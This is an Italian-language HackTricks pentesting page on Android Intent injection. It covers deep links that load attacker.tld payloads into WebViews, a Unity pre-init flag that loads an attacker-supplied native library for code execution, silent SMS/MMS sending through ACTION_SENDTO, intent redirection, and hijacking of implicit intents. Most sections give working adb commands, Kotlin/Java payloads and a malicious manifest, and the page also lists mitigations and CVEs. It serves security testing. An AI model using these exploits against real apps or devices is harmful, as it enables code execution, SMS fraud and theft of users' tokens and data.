Intent Injection

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Intent injection sfrutta componenti che accettano Intents controllati dall’attaccante o dati che vengono poi convertiti in Intents. Due schemi molto comuni durante Android app pentests sono:

  • Passare extras appositamente creati ad Activities/Services/BroadcastReceivers exported che vengono poi inoltrati a componenti privileged, non-exported.
  • Innescare deep links VIEW/BROWSABLE exported che inoltrano URL controllati dall’attaccante in WebViews interni o altri sink sensibili.

Se un’app espone un deep link con custom scheme come:

myscheme://com.example.app/web?url=<attacker_url>

e l’Activity ricevente inoltra il parametro di query url in una WebView, puoi costringere l’app a renderizzare contenuto remoto arbitrario nel proprio contesto WebView.

PoC via adb:

# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impatto

  • HTML/JS viene eseguito all’interno del profilo WebView dell’app.
  • Se JavaScript è abilitato (di default o a causa di controlli fuori ordine), puoi enumerare/usare qualsiasi oggetto @JavascriptInterface esposto, rubare cookie/local storage del WebView e pivotare.

See also:

Webview Attacks

Bug di ordine dei controlli che abilita JavaScript

Un bug ricorrente è l’abilitazione di JavaScript (o di altre impostazioni permissive del WebView) prima che l’allowlist/verifica finale dell’URL sia completata. Se helper precoci accettano il tuo deep link e il WebView viene configurato prima, il caricamento finale avviene con JavaScript già abilitato anche se i controlli successivi sono difettosi o troppo lenti.

Cosa cercare nel codice decompilato:

  • Molteplici helper che parsano/spezzano/ricostruiscono l’URL in modo diverso (normalizzazione incoerente).
  • Chiamate a getSettings().setJavaScriptEnabled(true) prima dell’ultimo controllo dell’host/percorso dell’allowlist.
  • Una pipeline come: parse → validazione parziale → configura WebView → verifica finale → loadUrl.

Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE)

Le app Android basate su Unity tipicamente usano com.unity3d.player.UnityPlayerActivity (o UnityPlayerGameActivity) come Activity di ingresso. Il template Android di Unity tratta un extra di Intent speciale chiamato unity come una stringa di flag da linea di comando per il runtime Unity. Quando l’Activity di ingresso è exported (default in molti template), qualsiasi app locale — e talvolta un sito web se BROWSABLE è presente — può fornire questo extra.

Un flag pericoloso e non documentato porta all’esecuzione di codice nativo durante la primissima inizializzazione del processo:

  • Flag nascosto: -xrsdk-pre-init-library <absolute-path>
  • Effetto: dlopen(<absolute-path>, RTLD_NOW) molto presto nell’init, caricando un ELF controllato dall’attaccante dentro il processo dell’app target con il suo UID e i suoi permessi.

Reverse-engineering excerpt (simplified):

// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW

Why it works

  • L’extra Intent unity viene analizzato nei flag di runtime di Unity.
  • Fornire il pre-init flag punta Unity a un percorso ELF controllato dall’attaccante all’interno di un linker namespace path consentito (vedi vincoli sotto).

Conditions for exploitation

  • La entry Activity di Unity è exported (comunemente true per impostazione predefinita).
  • Per one-click remoto via browser: la entry Activity dichiara anche android.intent.category.BROWSABLE cosĂŹ gli extras possono essere passati da un URL intent:.

Local exploitation (same device)

  1. Posiziona un payload ELF in un percorso leggibile dall’app vittima. Più semplice: includi una libreria malevola nella tua app dell’attaccante e assicurati che venga estratta sotto /data/app/.../lib/<abi>/ impostando nel manifest dell’attaccante:
<application android:extractNativeLibs="true" ...>
  1. Avvia l’activity Unity della vittima con il flag pre-init della CLI nell’extra unity. Esempio PoC ADB:
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
  1. Unity chiama dlopen("/data/.../libpayload.so", RTLD_NOW); il tuo payload viene eseguito nel victim process, ereditando tutti i permessi dell’app (camera/mic/network/storage, ecc.) e l’accesso alle sessioni/dati in-app.

Notes

  • Il percorso esatto /data/app/... varia tra dispositivi/installazioni. Un attacker app può recuperare la propria native lib dir a runtime tramite getApplicationInfo().nativeLibraryDir e comunicarla al trigger.
  • Il file non deve necessariamente terminare con .so se è un ELF valido — dlopen() si basa sugli header ELF, non sulle estensioni.

Remote one‑click via browser (conditional) Se l’entry activity di Unity è esportata con BROWSABLE, un sito web può passare extras tramite un URL intent::

intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;

Tuttavia, su Android moderno i namespace del dynamic linker e SELinux impediscono il caricamento da molti percorsi pubblici (ad esempio, /sdcard/Download). Vedrai errori come:

library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]

Strategia di bypass: mirare ad app che memorizzano in cache byte controllati dall’attaccante nella loro area privata (ad es., HTTP caches). Poiché i percorsi consentiti includono /data e la directory privata dell’app, puntare -xrsdk-pre-init-library su un path assoluto all’interno della cache dell’app può soddisfare i vincoli del linker e consentire l’esecuzione di codice. Questo rispecchia pattern cache-to-ELF RCE già osservati in altre Android app.

Confused‑Deputy: SMS/MMS silenti via ACTION_SENDTO (Wear OS Google Messages)

Alcune app di messaggistica di default eseguono in modo errato intent impliciti di messaggistica automaticamente, trasformandoli in un primitivo confused‑deputy: qualsiasi app non privilegiata può invocare Intent.ACTION_SENDTO con sms:, smsto:, mms:, o mmsto: e causare l’invio immediato senza un’interfaccia di conferma e senza il permesso SEND_SMS.

Punti chiave

  • Trigger: implicit ACTION_SENDTO + messaging URI scheme.
  • Dati: impostare il destinatario nell’URI, il testo del messaggio nell’extra "sms_body".
  • Permessi: nessuno (no SEND_SMS), si basa sull’handler SMS/MMS predefinito.
  • Osservato: Google Messages per Wear OS (corretto maggio 2025). Altri handler dovrebbero essere valutati allo stesso modo.

Payload minimo (Kotlin)

val intent = Intent(Intent.ACTION_SENDTO).apply {
data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
putExtra("sms_body", "Hi from PoC")
// From a non-Activity context add NEW_TASK
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
startActivity(intent)

ADB PoC (senza permessi speciali)

# SMS/SMS-to
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890"   --es sms_body "hello"

# MMS/MMS-to (handler-dependent behaviour)
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890"   --es sms_body "hello"

Espansione della superficie di attacco (Wear OS)

  • Qualsiasi componente in grado di avviare Activities può lanciare lo stesso payload: Activities, foreground Services (with FLAG_ACTIVITY_NEW_TASK), Tiles, Complications.
  • Se il handler predefinito invia automaticamente, l’abuso può essere a un solo tap o completamente silenzioso da contesti in background a seconda delle policy OEM.

Checklist di pentesting

  • Risolvi ACTION_SENDTO sul target per identificare il handler predefinito; verifica se mostra un’interfaccia di composizione o invia silenziosamente.
  • Testa tutti e quattro gli schemi (sms:, smsto:, mms:, mmsto:) e gli extras (sms_body, opzionalmente subject per MMS) per verificare differenze di comportamento.
  • Considera destinazioni a pagamento/numeri a tariffa maggiorata quando testi su dispositivi reali.

Altri primitivi classici di Intent injection

  • startActivity/sendBroadcast che usano extras di Intent forniti dall’attaccante, che vengono poi reinterpretati (Intent.parseUri(...)) ed eseguiti.
  • Componenti proxy esportati che inoltrano Intents a componenti sensibili non esportati senza verifiche dei permessi.

Automatizzare i test dei componenti esportati (Smali-driven ADB generation)

Quando i componenti esportati si aspettano extras specifici, indovinare la forma del payload causa spreco di tempo e falsi negativi. Puoi automatizzare la scoperta di chiavi/tipi direttamente dal Smali ed emettere comandi adb pronti all’uso.

Tool: APK Components Inspector

  • Repo: https://github.com/thecybersandeep/apk-components-inspector
  • Approach: decompila e scansiona il Smali alla ricerca di chiamate come getStringExtra("key"), getIntExtra("id", ...), getParcelableExtra("redirect_intent"), getSerializableExtra(...), getBooleanExtra(...), getAction(), getData() per inferire quali extras e campi sono consumati da ciascun componente.
  • Output: per ogni Activity/Service/Receiver/Provider esportata, lo strumento stampa una breve spiegazione e il comando esatto adb shell am .../cmd content ... con i flag correttamente tipizzati.

Installazione

git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich

Uso

python apk-components-inspector.py target.apk

Output di esempio

adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items

ADB am extras cheat sheet (flag basati sul tipo)

  • Strings: --es key value | String array: --esa key v1,v2
  • Integers: --ei key 123 | Int array: --eia key 1,2,3
  • Booleans: --ez key true|false
  • Longs: --el key 1234567890
  • Floats: --ef key 1.23
  • URIs (extra): --eu key content://... | Data URI (Intent data): -d content://...
  • Component extra: --ecn key com.pkg/.Cls
  • Null string extra: --esn key
  • Common flags: -a <ACTION> -c <CATEGORY> -t <MIME> -f <FLAGS> --activity-clear-task --activity-new-task

Suggerimenti pratici per i Providers

  • Usa adb shell cmd content query|insert|update|delete ... per colpire ContentProviders senza agenti.
  • Per il probing SQLi, varia --projection e --where (aka selection) quando il provider sottostante è SQLite-backed.

Automazione full-pipeline (interactive executor)

# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
Script di supporto per analizzare ed eseguire comandi adb ```python import subprocess

def parse_adb_commands(file_path): with open(file_path, ‘r’) as file: lines = file.readlines() commands = [] current = [] for line in lines: s = line.strip() if s.startswith(“adb “): current = [s] elif s.startswith(”#“) or not s: if current: full = ’ ’.join(current).replace(” \ “, “ “).replace(”\“, “”).strip() commands.append(full) current = [] elif current: current.append(s) if current: full = ’ ’.join(current).replace(“ \ “, “ “).replace(”\“, “”).strip() commands.append(full) return commands

for i, cmd in enumerate(parse_adb_commands(‘adbcommands.txt’), 1): print(f“\nCommand {i}: {cmd}“) input(“Press Enter to execute this command…”) try: r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True) print(“Output:\n”, r.stdout) if r.stderr: print(“Errors:\n”, r.stderr) except subprocess.CalledProcessError as e: print(f“Command failed with error:\n{e.stderr}“)

</details>

Esegui on-device: l'inspector è basato su Python e funziona in Termux o su dispositivi con root dove `apktool`/`androguard` sono disponibili.

---

## Intent Redirection (CWE-926) – individuazione e sfruttamento

Schema
- Un entry point esportato (Activity/Service/Receiver) legge un Intent in ingresso e lo inoltra internamente o esternamente senza validare sorgente/dati, ad es.:
- `startActivity(getIntent())`
- `startActivity(intent)` dove `intent` proviene da un extra come `redirect_intent`/`next_intent`/`pending_intent` o `Intent.parseUri(...)`.
- Fidarsi dei campi `action`/`data`/`component` senza controlli; non verificare l'identitĂ  del chiamante.

Cosa cercare in Smali/Java
- Usi di `getParcelableExtra("redirect_intent")`, `getParcelable("intent")`, `getIntent().getParcelableExtra(...)`.
- `startActivity(...)`, `startService(...)`, `sendBroadcast(...)` diretti su Intent influenzati dall'attaccante.
- Mancanza di controlli `getCallingPackage()`/`getCallingActivity()` o di verifiche con permessi custom.

ADB PoC templates
- Proxy Activity inoltrante un Intent extra verso una Activity interna privilegiata:
```bash
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
  • Servizio esportato che accetta un parcelable redirect_intent:
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
  • Receiver esportato che inoltra senza validazione:
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'

Flag utili per il comportamento in stile singleTask

# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task

Esempi reali (impatto variabile):

  • CVE-2024-26131 (Element Android): flussi esportati che portano a manipolazione di WebView, PIN bypass, login hijack.
  • CVE-2023-44121 (LG ThinQ Service): exported receiver action com.lge.lms.things.notification.ACTION → effetti a livello di sistema.
  • CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirezione → accesso arbitrario ai file (con interazione dell’utente).
  • CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak content.
  • CVE-2021-4438 (React Native SMS User Consent).
  • CVE-2020-14116 (Xiaomi Mi Browser).

Intent Hijacking (implicit intents)

Modello di minaccia

  • App A si aspetta un risultato sensibile da App B usando un implicit Intent (es., un OAuth redirect, il risultato di un document picker, un IMAGE_CAPTURE return, o una custom callback action).
  • App malintenzionata C pubblica un componente exported con un <intent-filter> corrispondente per la stessa action/category/data. Quando B risolve l’implicit Intent, il resolver può mostrare un chooser; se l’utente sceglie C (o lo imposta come predefinito), il payload viene consegnato al componente dell’attaccante invece che ad A.

Minimal PoC manifest (attacker):

<activity android:name=".StealActivity" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_CALLBACK"/>
<category android:name="android.intent.category.DEFAULT"/>
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
<!-- <data android:mimeType="application/json"/> -->
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
</intent-filter>
</activity>

Scheletro del Handler:

public class StealActivity extends Activity {
@Override protected void onCreate(Bundle b) {
super.onCreate(b);
Intent i = getIntent();
Bundle extras = i.getExtras();
Uri data = i.getData();
// Dump/forward sensitive result
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
finish();
}
}

Note

  • La specificitĂ  della corrispondenza conta (action + categories + data). PiĂš il filtro di C è specifico rispetto all’Intent in uscita di B, maggiore è la probabilitĂ  che venga mostrato o auto-selezionato.
  • Questo vale anche per i deep links (VIEW + BROWSABLE) quando le app si aspettano che un’altra app gestisca un URL e restituisca qualcosa.

Pentest guidance

  • Grep il target per chiamate startActivity/startActivityForResult/registerForActivityResult che usano Intent non espliciti.
  • Ispeziona gli Intent che trasportano tokens in extras, clipData, o getData() e verifica se una terza parte potrebbe registrare un filtro compatibile.
  • Consiglia di sostituire i flussi impliciti con Intent espliciti (usare setPackage()/setComponent()), oppure di richiedere caller-permission/permessi firmati sui receivers/services esportati.

Mitigations

  • Preferire Intent espliciti per flussi sensibili (callbacks, tokens, auth results).
  • Quando il cross-app è necessario, aggiungere requisiti di permission al componente ricevente e validare l’identitĂ  del caller.
  • Limitare e restringere gli Intent filters solo a quanto strettamente necessario (scheme/host/path/MIME).

Osservare le decisioni del resolver (FLAG_DEBUG_LOG_RESOLUTION)

Quando controlli il sender, aggiungi Intent.FLAG_DEBUG_LOG_RESOLUTION a un Intent implicito per far sĂŹ che Android registri come avviene la resolution e quale componente verrĂ  selezionato.

Esempio:

Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);

Quello che vedrai in adb logcat è la traccia di risoluzione e il componente finale, ad es. com.android.camera2/com.android.camera.CaptureActivity.

Suggerimento CLI

# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008

# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"

Questo è utile per enumerare i handler candidati su un dispositivo/emulatore e confermare esattamente quale componente riceverà un Intent durante i test.


Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks